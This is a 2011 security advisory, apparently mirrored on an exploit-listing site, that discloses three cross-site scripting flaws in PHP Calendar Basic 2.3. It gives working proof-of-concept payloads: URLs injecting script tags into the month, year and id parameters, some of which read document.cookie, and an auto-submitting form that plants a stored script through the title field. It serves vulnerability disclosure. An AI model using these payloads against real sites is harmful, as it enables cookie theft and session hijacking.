PHP Calendar Basic 2.3 Cross Site Scripting



EKU-ID: 266 CVE: OSVDB-ID:
Author: Kubelabs.com Published: 2011-05-18 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


Vulnerability ID: HTB22981
Reference: http://www.htbridge.ch/advisory/multiple_xss_cross_site_scripting_vulnerabilities_in_php_calendar_basic.html
Product: PHP Calendar Basic
Vendor: Kubelabs.com ( http://www.kubelabs.com/ ) 
Vulnerable Version: 2.3 and probably prior versions
Vendor Notification: 03 May 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

1. The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "year" and "month" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:


http://host/index.php?month=5"><script>alert('XSS')</script>&year=2011"><script>alert(document.cookie)</script>


2. The vulnerability exists due to failure in the "/event_add.php" script to properly sanitize user-supplied input in "title" variable.
The following PoC is available:


<form action="http://host/event_add.php?day=27&month=4&year=2011" method="post" name="main">
<input type="hidden" name="month" value="4">
<input type="hidden" name="day" value="27">
<input type="hidden" name="year" value="2011">
<input type="hidden" name="hour" value="20">
<input type="hidden" name="minute" value="00">
<input type="hidden" name="title" value="1<script>alert('XSS')</script>">
<input type="hidden" name="description" value="descr">
<input type="submit" id="btn" name="submit" value="Add Event">
</form>
<script>
document.getElementById('btn').click();
</script>


3. The vulnerability exists due to failure in the "/event_delete.php" script to properly sanitize user-supplied input in "id" variable.
The following PoC is available:

http://host/event_delete.php?day=28&month=4&year=2011&id=1"><script>alert(document.cookie)</script>